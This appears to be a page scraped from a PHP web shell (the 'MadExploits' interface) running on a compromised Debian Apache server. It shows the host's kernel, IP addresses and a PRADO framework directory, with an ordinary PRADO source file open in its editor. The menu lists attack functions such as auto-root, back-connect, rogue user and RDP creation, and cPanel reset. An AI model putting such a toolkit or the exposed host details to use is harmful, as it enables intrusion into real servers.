Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 18.118.164.100
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Web /
Services /
[ HOME SHELL ]
Name
Size
Permission
Action
IFeedContentProvider.php
1.32
KB
-rw-r--r--
TFeedService.php
4.33
KB
-rw-r--r--
TJsonResponse.php
1.19
KB
-rw-r--r--
TJsonRpcProtocol.php
4.42
KB
-rw-r--r--
TJsonService.php
4.66
KB
-rw-r--r--
TPageConfiguration.php
12.35
KB
-rw-r--r--
TPageService.php
19.1
KB
-rw-r--r--
TRpcApiProvider.php
2.34
KB
-rw-r--r--
TRpcException.php
640
B
-rw-r--r--
TRpcProtocol.php
2.61
KB
-rw-r--r--
TRpcServer.php
1.72
KB
-rw-r--r--
TRpcService.php
6.21
KB
-rw-r--r--
TSoapServer.php
8.4
KB
-rw-r--r--
TSoapService.php
9.04
KB
-rw-r--r--
TXmlRpcProtocol.php
2.63
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TRpcApiProvider.php
<?php /** * @author Robin J. Rogge <rrogge@bigpoint.net> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE * @since 3.2 */ namespace Prado\Web\Services; /** * TRpcApiProvider class * * TRpcApiProvider is an abstract class the can be subclasses in order to implement an * api for a {@link TRpcService}. A subclass of TRpcApiProvider must implement the * {@link registerMethods} method in order to declare the available methods, their * names and the associated callback. * * <code> * public function registerMethods() * { * return array( * 'apiMethodName1' => array('method' => array($this, 'objectMethodName1')), * 'apiMethodName2' => array('method' => array('ClassName', 'staticMethodName')), * ); * } * </code> * * In this example, two api method have been defined. The first refers to an object * method that must be implemented in the same class, the second to a static method * implemented in a 'ClassName' class. * In both cases, the method implementation will receive the request parameters as its * method parameters. Since the number of received parameters depends on * external-supplied data, it's adviced to use php's func_get_args() funtion to * validate them. * * Providers must be registered in the service configuration in order to be available, * as explained in {@link TRpcService}'s documentation. * * @author Robin J. Rogge <rrogge@bigpoint.net> * @since 3.2 */ abstract class TRpcApiProvider extends \Prado\TModule { /** * @var TRpcServer instance */ protected $rpcServer; /** * Must return an array of the available methods * @abstract */ abstract public function registerMethods(); /** * Constructor: informs the rpc server of the registered methods * @param TRpcServer $rpcServer */ public function __construct(TRpcServer $rpcServer) { $this->rpcServer = $rpcServer; parent::__construct(); foreach ($this->registerMethods() as $_methodName => $_methodDetails) { $this->rpcServer->addRpcMethod($_methodName, $_methodDetails); } } /** * Processes the request using the server * @return string processed request */ public function processRequest() { return $this->rpcServer->processRequest(); } /** * @return TRpcServer rpc server instance */ public function getRpcServer() { return $this->rpcServer; } }
Close